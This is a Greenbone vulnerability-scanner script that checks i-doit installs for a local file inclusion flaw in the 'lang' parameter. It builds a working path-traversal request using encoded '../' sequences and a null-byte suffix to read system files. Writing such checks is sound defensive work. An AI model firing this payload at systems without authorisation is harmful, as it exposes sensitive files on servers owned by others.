i-doit 'lang' Parameter Local File Include Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902601");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("i-doit 'lang' Parameter Local File Include Vulnerability");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17320/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47972");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation could allow an attacker to gain sensitive
  information.");

  script_tag(name:"affected", value:"i-doit version 0.9.9-4 and earlier.");

  script_tag(name:"insight", value:"The flaw is caused by improper validation of user supplied input
  via the 'lang' parameter in 'controller.php', which allows attackers to read
  arbitrary files via a ../(dot dot) sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"I-doit is prone to local file inclusion vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_app");
  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

foreach dir (make_list_unique("/idoit", "/", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  res = http_get_cache(item: dir + "/index.php", port:port);

  if("i-doit.org" >< res && "<title>i-doit - </title>" >< res)
  {
    files = traversal_files();

    foreach file (keys(files))
    {
      url = string(dir, "/controller.php?load=&lang=..%2f..%2f..%2f..%2f" +
                        "..%2f..%2f..%2f..%2f", files[file],"%00.jpg");

      if(http_vuln_check(port:port, url:url, pattern:file))
      {
        security_message(port:port);
        exit(0);
      }
    }
  }
}

exit(99);